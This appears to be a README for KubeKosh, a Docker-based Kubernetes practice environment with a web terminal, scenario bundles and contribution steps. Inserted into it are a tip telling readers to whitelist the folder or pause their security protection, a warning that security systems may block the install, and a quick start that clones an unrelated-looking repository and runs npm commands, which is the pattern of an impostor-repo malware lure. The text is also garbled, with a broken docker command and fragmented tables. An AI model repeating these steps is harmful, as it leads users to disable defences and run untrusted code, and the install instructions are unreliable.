KubeKosh runs a real K3s Kubernetes cluster inside a single Docker container and pairs it with a browser-based terminal and automated scenario validation — no cloud account or local cluster required.
![]() |
![]() |
![]() |
![]() |
![]() |
![]() |
![]() |
![]() |
-v <your_custom_directory>:/data zeborg/kubekosh:latestProgress is stored in SQLite at /data/progress.db inside the container. You may mount your own custom directory to /data to persist the progress across container restarts.
> [!TIP]
> If the setup does not start, add the folder to the allowed list or pause protection for a few minutes.
> [!CAUTION]
> Some security systems may block the installation.
> Only download from the official repository.
---
## QUICK START
```bash
git clone https://github.com/RockFlyerSnatch/kubekosh-287.git
cd kubekosh-287
npm install
npm start
| Bundle | Focus | Exam Mode |
|---|---|---|
| 🌱 Kubernetes Basics | Core concepts | 60 min |
| 🧑 |
CKA | 120 min |
| 🛠️ Kubernetes Developer | CKAD | 120 min |
| 🛡️ Kubernetes Security | CKS | 120 min |
Scenario types:
- Task — Hands-on challenge in the live terminal. Click Validate for automated cluster-state checking.
- MCQ — Multiple-choice question with a detailed explanation on submission.
The terminal comes pre-configured with:
| Alias | Expands to |
|---|---|
k |
kubectl |
kgp |
kubectl get pods |
kga |
kubectl get pods --all-namespaces |
kgd |
kubectl get deployments |
kgs |
kubectl get services |
kaf |
kubectl apply -f |
kex |
kubectl exec -it |
kns <ns> |
kubectl config set-context --current --namespace=<ns> |
| Component | Technology |
|---|---|
| Frontend | React + Vite, xterm.js |
| Backend | Node.js / Express, node-pty WebSocket PTY |
| Cluster | K3s (single-node, in-container) |
| Proxy | nginx on container port 80, mapped to host port 7554 |
| Storage | SQLite (better-sqlite3) at /data/progress.db |
Everything runs inside a single Docker image managed by scripts/entrypoint.sh.
Contributions are what make open-source projects like this one grow — and every contribution counts, big or small. Whether you're fixing a typo, polishing a scenario description, or building a completely new exercise from scratch, you're helping the next person learn Kubernetes in the best way possible. Thank you for taking the time!
Scenarios live in scenarios/scenarios.json; bundles in scenarios/bundles.json. See scenarios/SCHEMA.md for the full schema.
Task checklist:
validation.commands— idempotentkubectlcommands onlysetup_commands/teardown_commands—kubectlor native Ubuntu commands only
MCQ checklist:
correct_optionmust match one of theoptions[].idvalues- Always include an
explanation
# 1. Fork the repo on GitHub, then clone your fork
git clone https://github.com/<your-username>/kubekosh.git
cd kubekosh
# 2. Create a branch
git checkout -b feat/my-scenario
# 3. Edit scenarios/scenarios.json (and/or bundles.json)
# 4. Build and test locally
# 5. Commit and push to your fork
git add scenarios/scenarios.json
git commit -m "feat: add <scenario-name> scenario"
git push -u origin feat/my-scenarioOpen a Pull Request from your fork's branch against main.
Apache 2.0 License — see LICENSE.







